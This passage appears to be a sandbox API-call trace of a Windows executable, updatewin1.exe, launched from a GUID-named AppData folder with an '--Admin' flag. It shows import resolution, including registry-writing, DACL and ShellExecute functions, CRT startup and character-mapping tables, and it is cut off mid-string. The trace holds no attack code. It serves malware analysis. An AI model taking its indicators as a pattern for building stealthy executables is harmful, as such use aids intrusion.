(hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0052.672] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0052.673] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0052.674] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0052.675] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0052.676] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0052.676] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.676] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0052.676] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0052.676] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0052.676] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0052.676] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0052.676] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0052.676] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0052.676] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0052.676] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0052.676] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0052.676] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0052.676] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0052.677] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0052.677] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0052.677] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0052.677] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0052.680] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0052.680] atexit (param_1=0x5d63e0) returned 0 [0052.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0xabd03370, dwHighDateTime=0x1d53993)) [0052.680] GetCurrentThreadId () returned 0xb40 [0052.680] GetCurrentProcessId () returned 0xb3c [0052.680] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17294284011) returned 1 [0052.680] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.680] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.680] GetLastError () returned 0x57 [0052.680] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.680] GetLastError () returned 0x57 [0052.680] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0052.680] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0052.680] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.680] GetLastError () returned 0x57 [0052.680] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.680] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.681] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.681] GetLastError () returned 0x57 [0052.681] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.681] GetLastError () returned 0x57 [0052.681] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0052.681] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0052.681] GetProcessHeap () returned 0x5c0000 [0052.681] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.681] GetLastError () returned 0x57 [0052.681] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.681] GetLastError () returned 0x57 [0052.681] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.681] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.681] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x364) returned 0x5ea9f0 [0052.682] SetLastError (dwErrCode=0x57) [0052.682] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xc00) returned 0x5ead60 [0052.683] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0xac8d7b5c, hStdError=0xfffffffe)) [0052.683] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.683] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.683] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.683] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" --Admin" [0052.683] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" --Admin" [0052.683] GetACP () returned 0x4e4 [0052.683] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0x5e9eb0 [0052.683] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.683] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0052.683] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0052.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.683] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0052.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.683] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0052.683] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.683] GetLastError () returned 0x57 [0052.683] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0052.684] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.684] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0052.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x84\xde\xd4\xac\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0052.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.684] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.684] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0052.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa